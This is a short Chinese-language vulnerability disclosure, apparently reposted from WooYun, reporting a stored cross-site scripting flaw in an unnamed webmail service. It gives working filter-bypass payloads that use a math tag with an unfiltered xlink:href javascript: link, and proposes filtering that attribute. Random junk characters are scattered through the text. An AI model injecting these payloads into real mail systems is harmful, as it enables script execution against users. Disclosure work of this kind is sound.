简要描述:对某标签和某属性过滤不严导致可以在邮件中植入恶意代码
: r& C; i5 @5 i详细说明:按照老习惯通过支持html编辑的邮箱往目标邮箱海量发送xss vectors然后看漏了什么: Z, b! L, D. _5 ?# ~; B
s) w* @3 \0 q* C; p1 t
7 |& F. V$ g+ ^8 s可以看到我的svg被提前闭合了,rect里面的 width="1000" height="1000" fill="white"各种属性也和王力宏那首“你不在”一样,不见了。。不过貌似对于xlink:href没有过滤这是硬伤啊。接下来只要能让我插入math标签,这个问题基本上就算是解决了。) v! n7 f& ]% m8 {; f
而事实上。。。确实就那样成功了2 x, v" k; Y8 g
有效的payload如下:- <math><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)" target="_blank">abc q<rect></rect></a> </math>
) N; q' F. D! A, f9 ]" F5 {6 M0 B
: t' w$ Y4 f; U! I- {* R2 L复制代码
- V9 B6 V2 }# e+ W/ |3 }当然也可以缩减一下,写成这样。- <math><a xlink:href=javascript:alert(1)>I'mshort
5 g; J% x9 w, b' T) s8 ^ @ / L4 | U1 b: A! q5 x6 @
复制代码- o! s p5 k: d( \' F3 F3 B- G: e
漏洞证明:+ U" s" ?3 ~( f; P u
! w5 w( u3 b; |$ i! `! N. I; J3 }
; Q& C; h: w) a+ n/ Y1 }
0 U% Z9 g0 T5 Q- W- ~0 ~( g修复方案:对xlink:href的value进行过滤。( i. }, c8 m& j. ^4 R9 [
# I! @. Q+ f S0 f& ~
来源 mramydnei@乌云 + j6 g! m- V4 Z
1 z: X. U6 J$ I; e" G
2 h- r9 [3 I3 R5 k" k |